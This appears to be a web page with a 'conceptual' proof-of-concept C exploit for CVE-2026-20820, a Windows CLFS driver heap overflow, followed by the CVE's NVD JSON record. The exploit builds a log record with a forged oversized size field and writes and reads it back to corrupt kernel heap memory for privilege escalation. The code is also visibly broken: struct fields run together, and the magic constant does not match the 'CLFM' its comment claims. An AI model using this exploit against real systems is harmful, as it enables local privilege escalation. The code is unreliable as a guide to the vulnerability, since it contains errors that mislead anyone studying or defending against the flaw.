CVE-2026-20820

// CVE-2026-20820 PoC - Windows CLFS Heap Buffer Overflow // Author: Security Researcher // Note: This is a conceptual PoC for educational purposes only #include <windows.h> #include <stdio.h> #include <stdlib.h> // CLFS log file magic number #define CLFS_MGC_FILE_SIGNATURE 0x4C474D47 // 'CLFM' typedef struct _CLFS_LOG_BLOCK_HEADER { ULONG Magic; USHORT MajorVersion; USHORT MinorVersion; USHORT Usn; USHORT RecordType; ULONGSize; ULONG Reserved1; ULONG ValidDataLength; ULONG WriteOffset; ULONG ReadOffset; ULONGWrapOffset; ULONGLONGEndOfLog; } CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER; int main() { printf("[*] CVE-2026-20820 Windows CLFS Heap Overflow PoC\n"); printf("[*] Target: Windows Common Log File System Driver\n\n"); // Open or create a CLFS log file HANDLE hLog = CreateLogFile( L"test_log.blf", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL ); if (hLog == INVALID_HANDLE_VALUE) { printf("[-] Failed to create log file. Error: %d\n", GetLastError()); return 1; } printf("[+] Log file created successfully\n"); // Prepare malicious log record with overflow payload // The vulnerability occurs when CLFS doesn't properly validate // the record size before writing to heap buffer BYTE maliciousRecord[0x1000]; memset(maliciousRecord, 0x41, sizeof(maliciousRecord)); // Set up the record header PCLFS_LOG_BLOCK_HEADER pHeader = (PCLFS_LOG_BLOCK_HEADER)maliciousRecord; pHeader->Magic = CLFS_MGC_FILE_SIGNATURE; pHeader->MajorVersion = 2; pHeader->MinorVersion = 0; pHeader->RecordType = 1; pHeader->Size = 0xFFFFFFFF; // Malicious size causing overflow pHeader->ValidDataLength = 0x2000; // Larger than allocated buffer // Write malicious record to trigger overflow OVERLAPPED ol = {0}; BOOL result = WriteFile(hLog, maliciousRecord, sizeof(maliciousRecord), NULL, &ol); if (result) { printf("[+] Malicious record written\n"); printf("[*] Trigger overflow by reading back the record...\n"); // Read operation that triggers the vulnerable code path BYTE readBuffer[0x200]; DWORD bytesRead = 0; ReadFile(hLog, readBuffer, sizeof(readBuffer), &bytesRead, &ol); printf("[!] If vulnerable, heap corruption should occur\n"); } CloseHandle(hLog); return 0; }

{"cve": {"id": "CVE-2026-20820", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:09.143", "lastModified": "2026-01-14T20:34:20.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Desbordamiento de búfer basado en montículo en el controlador del sistema de archivos de registro común de Windows permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20820", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}